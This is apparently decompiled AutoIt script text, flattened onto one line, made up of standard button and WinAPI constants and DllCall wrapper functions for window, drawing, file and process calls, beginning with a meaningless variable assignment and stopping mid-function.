$dewfwfuiweeeeeeeeeeeeeeddc = 694154556 $dewfwfuiweeeeeeeeeeeeeeddc = 694154556 Global Const $bs_groupbox = 7 Global Const $bs_bottom = 2048 Global Const $bs_center = 768 Global Const $bs_defpushbutton = 1 Global Const $bs_left = 256 Global Const $bs_multiline = 8192 Global Const $bs_pushbox = 10 Global Const $bs_pushlike = 4096 Global Const $bs_right = 512 Global Const $bs_rightbutton = 32 Global Const $bs_top = 1024 Global Const $bs_vcenter = 3072 Global Const $bs_flat = 32768 Global Const $bs_icon = 64 Global Const $bs_bitmap = 128 Global Const $bs_notify = 16384 Global Const $bs_splitbutton = 12 Global Const $bs_defsplitbutton = 13 Global Const $bs_commandlink = 14 Global Const $bs_defcommandlink = 15 Global Const $bcsif_glyph = 1 Global Const $bcsif_image = 2 Global Const $bcsif_style = 4 Global Const $bcsif_size = 8 Global Const $bcss_nosplit = 1 Global Const $bcss_stretch = 2 Global Const $bcss_alignleft = 4 Global Const $bcss_image = 8 Global Const $button_imagelist_align_left = 0 Global Const $button_imagelist_align_right = 1 Global Const $button_imagelist_align_top = 2 Global Const $button_imagelist_align_bottom = 3 Global Const $button_imagelist_align_center = 4 Global Const $bs_3state = 5 Global Const $bs_auto3state = 6 Global Const $bs_autocheckbox = 3 Global Const $bs_checkbox = 2 Global Const $bs_radiobutton = 4 Global Const $bs_autoradiobutton = 9 Global Const $bs_ownerdraw = 11 Global Const $gui_ss_default_button = 0 Global Const $gui_ss_default_checkbox = 0 Global Const $gui_ss_default_group = 0 Global Const $gui_ss_default_radio = 0 Global Const $bcm_first = 5632 Global Const $bcm_getidealsize = ($bcm_first + 1) Global Const $bcm_getimagelist = ($bcm_first + 3) Global Const $bcm_getnote = ($bcm_first + 10) Global Const $bcm_getnotelength = ($bcm_first + 11) Global Const $bcm_getsplitinfo = ($bcm_first + 8) Global Const $bcm_gettextmargin = ($bcm_first + 5) Global Const $bcm_setdropdownstate = ($bcm_first + 6) Global Const $bcm_setimagelist = ($bcm_first + 2) Global Const $bcm_setnote = ($bcm_first + 9) Global Const $bcm_setshield = ($bcm_first + 12) Global Const $bcm_setsplitinfo = ($bcm_first + 7) Global Const $bcm_settextmargin = ($bcm_first + 4) Global Const $bm_click = 245 Global Const $bm_getcheck = 240 Global Const $bm_getimage = 246 Global Const $bm_getstate = 242 Global Const $bm_setcheck = 241 Global Const $bm_setdontclick = 248 Global Const $bm_setimage = 247 Global Const $bm_setstate = 243 Global Const $bm_setstyle = 244 Global Const $bcn_first = -1250 Global Const $bcn_dropdown = ($bcn_first + 2) Global Const $bcn_hotitemchange = ($bcn_first + 1) Global Const $bn_clicked = 0 Global Const $bn_paint = 1 Global Const $bn_hilite = 2 Global Const $bn_unhilite = 3 Global Const $bn_disable = 4 Global Const $bn_doubleclicked = 5 Global Const $bn_setfocus = 6 Global Const $bn_killfocus = 7 Global Const $bn_pushed = $bn_hilite Global Const $bn_unpushed = $bn_unhilite Global Const $bn_dblclk = $bn_doubleclicked Global Const $bst_checked = 1 Global Const $bst_indeterminate = 2 Global Const $bst_unchecked = 0 Global Const $bst_focus = 8 Global Const $bst_pushed = 4 Global Const $bst_dontclick = 128 Func _sendmessage($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult") Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageW", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam) If @error Then Return SetError(@error, @extended, "") If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn] Return $aresult EndFunc Func _sendmessagea($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult") Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageA", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam) If @error Then Return SetError(@error, @extended, "") If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn] Return $aresult EndFunc Global Const $hgdi_error = Ptr(-1) Global Const $invalid_handle_value = Ptr(-1) Global Const $clr_invalid = -1 Global Const $null_brush = 5 Global Const $null_pen = 8 Global Const $black_brush = 4 Global Const $dkgray_brush = 3 Global Const $dc_brush = 18 Global Const $gray_brush = 2 Global Const $hollow_brush = $null_brush Global Const $ltgray_brush = 1 Global Const $white_brush = 0 Global Const $black_pen = 7 Global Const $dc_pen = 19 Global Const $white_pen = 6 Global Const $ansi_fixed_font = 11 Global Const $ansi_var_font = 12 Global Const $device_default_font = 14 Global Const $default_gui_font = 17 Global Const $oem_fixed_font = 10 Global Const $system_font = 13 Global Const $system_fixed_font = 16 Global Const $default_palette = 15 Global Const $mb_precomposed = 1 Global Const $mb_composite = 2 Global Const $mb_useglyphchars = 4 Global Const $ulw_alpha = 2 Global Const $ulw_colorkey = 1 Global Const $ulw_opaque = 4 Global Const $ulw_ex_noresize = 8 Global Const $wh_callwndproc = 4 Global Const $wh_callwndprocret = 12 Global Const $wh_cbt = 5 Global Const $wh_debug = 9 Global Const $wh_foregroundidle = 11 Global Const $wh_getmessage = 3 Global Const $wh_journalplayback = 1 Global Const $wh_journalrecord = 0 Global Const $wh_keyboard = 2 Global Const $wh_keyboard_ll = 13 Global Const $wh_mouse = 7 Global Const $wh_mouse_ll = 14 Global Const $wh_msgfilter = -1 Global Const $wh_shell = 10 Global Const $wh_sysmsgfilter = 6 Global Const $wpf_asyncwindowplacement = 4 Global Const $wpf_restoretomaximized = 2 Global Const $wpf_setminposition = 1 Global Const $kf_extended = 256 Global Const $kf_altdown = 8192 Global Const $kf_up = 32768 Global Const $llkhf_extended = BitShift($kf_extended, 8) Global Const $llkhf_injected = 16 Global Const $llkhf_altdown = BitShift($kf_altdown, 8) Global Const $llkhf_up = BitShift($kf_up, 8) Global Const $ofn_allowmultiselect = 512 Global Const $ofn_createprompt = 8192 Global Const $ofn_dontaddtorecent = 33554432 Global Const $ofn_enablehook = 32 Global Const $ofn_enableincludenotify = 4194304 Global Const $ofn_enablesizing = 8388608 Global Const $ofn_enabletemplate = 64 Global Const $ofn_enabletemplatehandle = 128 Global Const $ofn_explorer = 524288 Global Const $ofn_extensiondifferent = 1024 Global Const $ofn_filemustexist = 4096 Global Const $ofn_forceshowhidden = 268435456 Global Const $ofn_hidereadonly = 4 Global Const $ofn_longnames = 2097152 Global Const $ofn_nochangedir = 8 Global Const $ofn_nodereferencelinks = 1048576 Global Const $ofn_nolongnames = 262144 Global Const $ofn_nonetworkbutton = 131072 Global Const $ofn_noreadonlyreturn = 32768 Global Const $ofn_notestfilecreate = 65536 Global Const $ofn_novalidate = 256 Global Const $ofn_overwriteprompt = 2 Global Const $ofn_pathmustexist = 2048 Global Const $ofn_readonly = 1 Global Const $ofn_shareaware = 16384 Global Const $ofn_showhelp = 16 Global Const $ofn_ex_noplacesbar = 1 Global Const $tmpf_fixed_pitch = 1 Global Const $tmpf_vector = 2 Global Const $tmpf_truetype = 4 Global Const $tmpf_device = 8 Global Const $duplicate_close_source = 1 Global Const $duplicate_same_access = 2 Global Const $di_mask = 1 Global Const $di_image = 2 Global Const $di_normal = 3 Global Const $di_compat = 4 Global Const $di_defaultsize = 8 Global Const $di_nomirror = 16 Global Const $display_device_attached_to_desktop = 1 Global Const $display_device_multi_driver = 2 Global Const $display_device_primary_device = 4 Global Const $display_device_mirroring_driver = 8 Global Const $display_device_vga_compatible = 16 Global Const $display_device_removable = 32 Global Const $display_device_disconnect = 33554432 Global Const $display_device_remote = 67108864 Global Const $display_device_modespruned = 134217728 Global Const $flashw_caption = 1 Global Const $flashw_tray = 2 Global Const $flashw_timer = 4 Global Const $flashw_timernofg = 12 Global Const $format_message_allocate_buffer = 256 Global Const $format_message_ignore_inserts = 512 Global Const $format_message_from_string = 1024 Global Const $format_message_from_hmodule = 2048 Global Const $format_message_from_system = 4096 Global Const $format_message_argument_array = 8192 Global Const $gw_hwndfirst = 0 Global Const $gw_hwndlast = 1 Global Const $gw_hwndnext = 2 Global Const $gw_hwndprev = 3 Global Const $gw_owner = 4 Global Const $gw_child = 5 Global Const $gw_enabledpopup = 6 Global Const $gwl_wndproc = -4 Global Const $gwl_hinstance = -6 Global Const $gwl_hwndparent = -8 Global Const $gwl_id = -12 Global Const $gwl_style = -16 Global Const $gwl_exstyle = -20 Global Const $gwl_userdata = -21 Global Const $std_cut = 0 Global Const $std_copy = 1 Global Const $std_paste = 2 Global Const $std_undo = 3 Global Const $std_redow = 4 Global Const $std_delete = 5 Global Const $std_filenew = 6 Global Const $std_fileopen = 7 Global Const $std_filesave = 8 Global Const $std_printpre = 9 Global Const $std_properties = 10 Global Const $std_help = 11 Global Const $std_find = 12 Global Const $std_replace = 13 Global Const $std_print = 14 Global Const $image_bitmap = 0 Global Const $image_icon = 1 Global Const $image_cursor = 2 Global Const $image_enhmetafile = 3 Global Const $kb_sendspecial = 0 Global Const $kb_sendraw = 1 Global Const $kb_capsoff = 0 Global Const $kb_capson = 1 Global Const $dont_resolve_dll_references = 1 Global Const $load_library_as_datafile = 2 Global Const $load_with_altered_search_path = 8 Global Const $load_ignore_code_authz_level = 16 Global Const $load_library_as_datafile_exclusive = 64 Global Const $load_library_as_image_resource = 32 Global Const $load_library_search_application_dir = 512 Global Const $load_library_search_default_dirs = 4096 Global Const $load_library_search_dll_load_dir = 256 Global Const $load_library_search_system32 = 2048 Global Const $load_library_search_user_dirs = 1024 Global Const $s_ok = 0 Global Const $e_abort = -2147467260 Global Const $e_accessdenied = -2147024891 Global Const $e_fail = -2147467259 Global Const $e_handle = -2147024890 Global Const $e_invalidarg = -2147024809 Global Const $e_nointerface = -2147467262 Global Const $e_notimpl = -2147467263 Global Const $e_outofmemory = -2147024882 Global Const $e_pointer = -2147467261 Global Const $e_unexpected = -2147418113 Global Const $lr_defaultcolor = 0 Global Const $lr_monochrome = 1 Global Const $lr_color = 2 Global Const $lr_copyreturnorg = 4 Global Const $lr_copydeleteorg = 8 Global Const $lr_loadfromfile = 16 Global Const $lr_loadtransparent = 32 Global Const $lr_defaultsize = 64 Global Const $lr_vgacolor = 128 Global Const $lr_loadmap3dcolors = 4096 Global Const $lr_createdibsection = 8192 Global Const $lr_copyfromresource = 16384 Global Const $lr_shared = 32768 Global Const $obm_trtype = 32732 Global Const $obm_lfarrowi = 32734 Global Const $obm_rgarrowi = 32735 Global Const $obm_dnarrowi = 32736 Global Const $obm_uparrowi = 32737 Global Const $obm_combo = 32738 Global Const $obm_mnarrow = 32739 Global Const $obm_lfarrowd = 32740 Global Const $obm_rgarrowd = 32741 Global Const $obm_dnarrowd = 32742 Global Const $obm_uparrowd = 32743 Global Const $obm_restored = 32744 Global Const $obm_zoomd = 32745 Global Const $obm_reduced = 32746 Global Const $obm_restore = 32747 Global Const $obm_zoom = 32748 Global Const $obm_reduce = 32749 Global Const $obm_lfarrow = 32750 Global Const $obm_rgarrow = 32751 Global Const $obm_dnarrow = 32752 Global Const $obm_uparrow = 32753 Global Const $obm_close = 32754 Global Const $obm_old_restore = 32755 Global Const $obm_old_zoom = 32756 Global Const $obm_old_reduce = 32757 Global Const $obm_btncorners = 32758 Global Const $obm_checkboxes = 32759 Global Const $obm_check = 32760 Global Const $obm_btsize = 32761 Global Const $obm_old_lfarrow = 32762 Global Const $obm_old_rgarrow = 32763 Global Const $obm_old_dnarrow = 32764 Global Const $obm_old_uparrow = 32765 Global Const $obm_size = 32766 Global Const $obm_old_close = 32767 Global Const $oic_sample = 32512 Global Const $oic_hand = 32513 Global Const $oic_ques = 32514 Global Const $oic_bang = 32515 Global Const $oic_note = 32516 Global Const $oic_winlogo = 32517 Global Const $oic_warning = $oic_bang Global Const $oic_error = $oic_hand Global Const $oic_information = $oic_note Global $__g_ainprocess_winapi[64][2] = [[0, 0]] Global $__g_awinlist_winapi[64][2] = [[0, 0]] Global Const $__winapiconstant_wm_setfont = 48 Global Const $__winapiconstant_fw_normal = 400 Global Const $__winapiconstant_default_charset = 1 Global Const $__winapiconstant_out_default_precis = 0 Global Const $__winapiconstant_clip_default_precis = 0 Global Const $__winapiconstant_default_quality = 0 Global Const $__winapiconstant_logpixelsx = 88 Global Const $__winapiconstant_logpixelsy = 90 Global Const $tagcursorinfo = "dword Size;dword Flags;handle hCursor;" & $tagpoint Global Const $tagdisplay_device = "dword Size;wchar Name[32];wchar String[128];dword Flags;wchar ID[128];wchar Key[128]" Global Const $tagflashwinfo = "uint Size;hwnd hWnd;dword Flags;uint Count;dword TimeOut" Global Const $tagiconinfo = "bool Icon;dword XHotSpot;dword YHotSpot;handle hMask;handle hColor" Global Const $tagmemorystatusex = "dword Length;dword MemoryLoad;" & "uint64 TotalPhys;uint64 AvailPhys;uint64 TotalPageFile;uint64 AvailPageFile;" & "uint64 TotalVirtual;uint64 AvailVirtual;uint64 AvailExtendedVirtual" Func _winapi_attachconsole($ipid = -1) Local $aresult = DllCall("kernel32.dll", "bool", "AttachConsole", "dword", $ipid) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_attachthreadinput($iattach, $iattachto, $battach) Local $aresult = DllCall("user32.dll", "bool", "AttachThreadInput", "dword", $iattach, "dword", $iattachto, "bool", $battach) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_beep($ifreq = 500, $iduration = 1000) Local $aresult = DllCall("kernel32.dll", "bool", "Beep", "dword", $ifreq, "dword", $iduration) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_bitblt($hdestdc, $ixdest, $iydest, $iwidth, $iheight, $hsrcdc, $ixsrc, $iysrc, $irop) Local $aresult = DllCall("gdi32.dll", "bool", "BitBlt", "handle", $hdestdc, "int", $ixdest, "int", $iydest, "int", $iwidth, "int", $iheight, "handle", $hsrcdc, "int", $ixsrc, "int", $iysrc, "dword", $irop) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_callnexthookex($hhook, $icode, $wparam, $lparam) Local $aresult = DllCall("user32.dll", "lresult", "CallNextHookEx", "handle", $hhook, "int", $icode, "wparam", $wparam, "lparam", $lparam) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_callwindowproc($pprevwndfunc, $hwnd, $imsg, $wparam, $lparam) Local $aresult = DllCall("user32.dll", "lresult", "CallWindowProc", "ptr", $pprevwndfunc, "hwnd", $hwnd, "uint", $imsg, "wparam", $wparam, "lparam", $lparam) If @error Then Return SetError(@error, @extended, -1) Return $aresult[0] EndFunc Func _winapi_clienttoscreen($hwnd, ByRef $tpoint) Local $aret = DllCall("user32.dll", "bool", "ClientToScreen", "hwnd", $hwnd, "struct*", $tpoint) If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0) Return $tpoint EndFunc Func _winapi_closehandle($hobject) Local $aresult = DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hobject) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_combinergn($hrgndest, $hrgnsrc1, $hrgnsrc2, $icombinemode) Local $aresult = DllCall("gdi32.dll", "int", "CombineRgn", "handle", $hrgndest, "handle", $hrgnsrc1, "handle", $hrgnsrc2, "int", $icombinemode) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_commdlgextendederror() Local Const $cderr_dialogfailure = 65535 Local Const $cderr_findresfailure = 6 Local Const $cderr_initialization = 2 Local Const $cderr_loadresfailure = 7 Local Const $cderr_loadstrfailure = 5 Local Const $cderr_lockresfailure = 8 Local Const $cderr_memallocfailure = 9 Local Const $cderr_memlockfailure = 10 Local Const $cderr_nohinstance = 4 Local Const $cderr_nohook = 11 Local Const $cderr_notemplate = 3 Local Const $cderr_registermsgfail = 12 Local Const $cderr_structsize = 1 Local Const $fnerr_buffertoosmall = 12291 Local Const $fnerr_invalidfilename = 12290 Local Const $fnerr_subclassfailure = 12289 Local $aresult = DllCall("comdlg32.dll", "dword", "CommDlgExtendedError") If NOT @error Then Switch $aresult[0] Case $cderr_dialogfailure Return SetError($aresult[0], 0, "The dialog box could not be created." & @LF & "The common dialog box function's call to the DialogBox function failed." & @LF & "For example, this error occurs if the common dialog box call specifies an invalid window handle.") Case $cderr_findresfailure Return SetError($aresult[0], 0, "The common dialog box function failed to find a specified resource.") Case $cderr_initialization Return SetError($aresult[0], 0, "The common dialog box function failed during initialization." & @LF & "This error often occurs when sufficient memory is not available.") Case $cderr_loadresfailure Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified resource.") Case $cderr_loadstrfailure Return SetError($aresult[0], 0, "The common dialog box function failed to load a specified string.") Case $cderr_lockresfailure Return SetError($aresult[0], 0, "The common dialog box function failed to lock a specified resource.") Case $cderr_memallocfailure Return SetError($aresult[0], 0, "The common dialog box function was unable to allocate memory for internal structures.") Case $cderr_memlockfailure Return SetError($aresult[0], 0, "The common dialog box function was unable to lock the memory associated with a handle.") Case $cderr_nohinstance Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding instance handle.") Case $cderr_nohook Return SetError($aresult[0], 0, "The ENABLEHOOK flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a pointer to a corresponding hook procedure.") Case $cderr_notemplate Return SetError($aresult[0], 0, "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding template.") Case $cderr_registermsgfail Return SetError($aresult[0], 0, "The RegisterWindowMessage function returned an error code when it was called by the common dialog box function.") Case $cderr_structsize Return SetError($aresult[0], 0, "The lStructSize member of the initialization structure for the corresponding common dialog box is invalid") Case $fnerr_buffertoosmall Return SetError($aresult[0], 0, "The buffer pointed to by the lpstrFile member of the OPENFILENAME structure is too small for the file name specified by the user." & @LF & "The first two bytes of the lpstrFile buffer contain an integer value specifying the size, in TCHARs, required to receive the full name.") Case $fnerr_invalidfilename Return SetError($aresult[0], 0, "A file name is invalid.") Case $fnerr_subclassfailure Return SetError($aresult[0], 0, "An attempt to subclass a list box failed because sufficient memory was not available.") EndSwitch EndIf Return SetError(@error, @extended, "0x" & Hex($aresult[0])) EndFunc Func _winapi_copyicon($hicon) Local $aresult = DllCall("user32.dll", "handle", "CopyIcon", "handle", $hicon) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createbitmap($iwidth, $iheight, $iplanes = 1, $ibitsperpel = 1, $pbits = 0) Local $aresult = DllCall("gdi32.dll", "handle", "CreateBitmap", "int", $iwidth, "int", $iheight, "uint", $iplanes, "uint", $ibitsperpel, "struct*", $pbits) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight) Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleBitmap", "handle", $hdc, "int", $iwidth, "int", $iheight) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createcompatibledc($hdc) Local $aresult = DllCall("gdi32.dll", "handle", "CreateCompatibleDC", "handle", $hdc) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createevent($tattributes = 0, $bmanualreset = True, $binitialstate = True, $sname = "") Local $snametype = "wstr" If $sname = "" Then $sname = 0 $snametype = "ptr" EndIf Local $aresult = DllCall("kernel32.dll", "handle", "CreateEventW", "struct*", $tattributes, "bool", $bmanualreset, "bool", $binitialstate, $snametype, $sname) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createfile($sfilename, $icreation, $iaccess = 4, $ishare = 0, $iattributes = 0, $tsecurity = 0) Local $ida = 0, $ism = 0, $icd = 0, $ifa = 0 If BitAND($iaccess, 1) <> 0 Then $ida = BitOR($ida, $generic_execute) If BitAND($iaccess, 2) <> 0 Then $ida = BitOR($ida, $generic_read) If BitAND($iaccess, 4) <> 0 Then $ida = BitOR($ida, $generic_write) If BitAND($ishare, 1) <> 0 Then $ism = BitOR($ism, $file_share_delete) If BitAND($ishare, 2) <> 0 Then $ism = BitOR($ism, $file_share_read) If BitAND($ishare, 4) <> 0 Then $ism = BitOR($ism, $file_share_write) Switch $icreation Case 0 $icd = $create_new Case 1 $icd = $create_always Case 2 $icd = $open_existing Case 3 $icd = $open_always Case 4 $icd = $truncate_existing EndSwitch If BitAND($iattributes, 1) <> 0 Then $ifa = BitOR($ifa, $file_attribute_archive) If BitAND($iattributes, 2) <> 0 Then $ifa = BitOR($ifa, $file_attribute_hidden) If BitAND($iattributes, 4) <> 0 Then $ifa = BitOR($ifa, $file_attribute_readonly) If BitAND($iattributes, 8) <> 0 Then $ifa = BitOR($ifa, $file_attribute_system) Local $aresult = DllCall("kernel32.dll", "handle", "CreateFileW", "wstr", $sfilename, "dword", $ida, "dword", $ism, "struct*", $tsecurity, "dword", $icd, "dword", $ifa, "ptr", 0) If @error OR ($aresult[0] = $invalid_handle_value) Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createfont($iheight, $iwidth, $iescape = 0, $iorientn = 0, $iweight = $__winapiconstant_fw_normal, $bitalic = False, $bunderline = False, $bstrikeout = False, $icharset = $__winapiconstant_default_charset, $ioutputprec = $__winapiconstant_out_default_precis, $iclipprec = $__winapiconstant_clip_default_precis, $iquality = $__winapiconstant_default_quality, $ipitch = 0, $sface = "Arial") Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontW", "int", $iheight, "int", $iwidth, "int", $iescape, "int", $iorientn, "int", $iweight, "dword", $bitalic, "dword", $bunderline, "dword", $bstrikeout, "dword", $icharset, "dword", $ioutputprec, "dword", $iclipprec, "dword", $iquality, "dword", $ipitch, "wstr", $sface) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createfontindirect($tlogfont) Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontIndirectW", "struct*", $tlogfont) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createpen($ipenstyle, $iwidth, $icolor) Local $aresult = DllCall("gdi32.dll", "handle", "CreatePen", "int", $ipenstyle, "int", $iwidth, "INT", $icolor) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createprocess($sappname, $scommand, $tsecurity, $tthread, $binherit, $iflags, $penviron, $sdir, $tstartupinfo, $tprocess) Local $tcommand = 0 Local $sappnametype = "wstr", $sdirtype = "wstr" If $sappname = "" Then $sappnametype = "ptr" $sappname = 0 EndIf If $scommand <> "" Then $tcommand = DllStructCreate("wchar Text[" & 260 + 1 & "]") DllStructSetData($tcommand, "Text", $scommand) EndIf If $sdir = "" Then $sdirtype = "ptr" $sdir = 0 EndIf Local $aresult = DllCall("kernel32.dll", "bool", "CreateProcessW", $sappnametype, $sappname, "struct*", $tcommand, "struct*", $tsecurity, "struct*", $tthread, "bool", $binherit, "dword", $iflags, "struct*", $penviron, $sdirtype, $sdir, "struct*", $tstartupinfo, "struct*", $tprocess) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_createrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect) Local $aresult = DllCall("gdi32.dll", "handle", "CreateRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createroundrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect, $iwidthellipse, $iheightellipse) Local $aresult = DllCall("gdi32.dll", "handle", "CreateRoundRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect, "int", $iwidthellipse, "int", $iheightellipse) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createsolidbitmap($hwnd, $icolor, $iwidth, $iheight, $brgb = 1) Local $hdc = _winapi_getdc($hwnd) Local $hdestdc = _winapi_createcompatibledc($hdc) Local $hbitmap = _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight) Local $hold = _winapi_selectobject($hdestdc, $hbitmap) Local $trect = DllStructCreate($tagrect) DllStructSetData($trect, 1, 0) DllStructSetData($trect, 2, 0) DllStructSetData($trect, 3, $iwidth) DllStructSetData($trect, 4, $iheight) If $brgb Then $icolor = BitOR(BitAND($icolor, 65280), BitShift(BitAND($icolor, 255), -16), BitShift(BitAND($icolor, 16711680), 16)) EndIf Local $hbrush = _winapi_createsolidbrush($icolor) If NOT _winapi_fillrect($hdestdc, $trect, $hbrush) Then _winapi_deleteobject($hbitmap) $hbitmap = 0 EndIf _winapi_deleteobject($hbrush) _winapi_releasedc($hwnd, $hdc) _winapi_selectobject($hdestdc, $hold) _winapi_deletedc($hdestdc) If NOT $hbitmap Then Return SetError(1, 0, 0) Return $hbitmap EndFunc Func _winapi_createsolidbrush($icolor) Local $aresult = DllCall("gdi32.dll", "handle", "CreateSolidBrush", "INT", $icolor) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_createwindowex($iexstyle, $sclass, $sname, $istyle, $ix, $iy, $iwidth, $iheight, $hparent, $hmenu = 0, $hinstance = 0, $pparam = 0) If $hinstance = 0 Then $hinstance = _winapi_getmodulehandle("") Local $aresult = DllCall("user32.dll", "hwnd", "CreateWindowExW", "dword", $iexstyle, "wstr", $sclass, "wstr", $sname, "dword", $istyle, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "hwnd", $hparent, "handle", $hmenu, "handle", $hinstance, "struct*", $pparam) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_defwindowproc($hwnd, $imsg, $wparam, $lparam) Local $aresult = DllCall("user32.dll", "lresult", "DefWindowProc", "hwnd", $hwnd, "uint", $imsg, "wparam", $wparam, "lparam", $lparam) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_deletedc($hdc) Local $aresult = DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $hdc) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_deleteobject($hobject) Local $aresult = DllCall("gdi32.dll", "bool", "DeleteObject", "handle", $hobject) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_destroyicon($hicon) Local $aresult = DllCall("user32.dll", "bool", "DestroyIcon", "handle", $hicon) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_destroywindow($hwnd) Local $aresult = DllCall("user32.dll", "bool", "DestroyWindow", "hwnd", $hwnd) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_drawedge($hdc, $trect, $iedgetype, $iflags) Local $aresult = DllCall("user32.dll", "bool", "DrawEdge", "handle", $hdc, "struct*", $trect, "uint", $iedgetype, "uint", $iflags) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_drawframecontrol($hdc, $trect, $itype, $istate) Local $aresult = DllCall("user32.dll", "bool", "DrawFrameControl", "handle", $hdc, "struct*", $trect, "uint", $itype, "uint", $istate) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_drawicon($hdc, $ix, $iy, $hicon) Local $aresult = DllCall("user32.dll", "bool", "DrawIcon", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_drawiconex($hdc, $ix, $iy, $hicon, $iwidth = 0, $iheight = 0, $istep = 0, $hbrush = 0, $iflags = 3) Local $ioptions Switch $iflags Case 1 $ioptions = $di_mask Case 2 $ioptions = $di_image Case 3 $ioptions = $di_normal Case 4 $ioptions = $di_compat Case 5 $ioptions = $di_defaultsize Case Else $ioptions = $di_nomirror EndSwitch Local $aresult = DllCall("user32.dll", "bool", "DrawIconEx", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon, "int", $iwidth, "int", $iheight, "uint", $istep, "handle", $hbrush, "uint", $ioptions) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_drawline($hdc, $ix1, $iy1, $ix2, $iy2) _winapi_moveto($hdc, $ix1, $iy1) If @error Then Return SetError(@error, @extended, False) _winapi_lineto($hdc, $ix2, $iy2) If @error Then Return SetError(@error + 10, @extended, False) Return True EndFunc Func _winapi_drawtext($hdc, $stext, ByRef $trect, $iflags) Local $aresult = DllCall("user32.dll", "int", "DrawTextW", "handle", $hdc, "wstr", $stext, "int", -1, "struct*", $trect, "uint", $iflags) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _winapi_duplicatehandle($hsourceprocesshandle, $hsourcehandle, $htargetprocesshandle, $idesiredaccess, $iinherithandle, $ioptions) Local $aresult = DllCall("kernel32.dll", "bool", "DuplicateHandle", "handle", $hsourceprocesshandle, "handle", $hsourcehandle, "handle", $htargetprocesshandle, "handle*", 0, "dword", $idesiredaccess, "bool", $iinherithandle, "dword", $ioptions) If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, 0) Return $aresult[4] EndFunc Func _winapi_enablewindow($hwnd, $benable = True) Local $aresult = DllCall("user32.dll", "bool", "EnableWindow", "hwnd", $hwnd, "bool", $benable) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _winapi_enumdisplaydevices($sdevice, $idevnum) Local $tname = 0, $iflags = 0, $adevice[5] If $sdevice <> "" Then $tname = DllStructCreate("wchar Text[" & StringLen($sdevice) + 1 & "]") DllStructSetData($tname, "Text", $sdevice) EndIf Local $tdevice = DllStructCreate($tagdisplay_device) Local $idevice = DllStructGetSize($tdevice) DllStructSetData($tdevice, "Size", $idevice) Local $aret 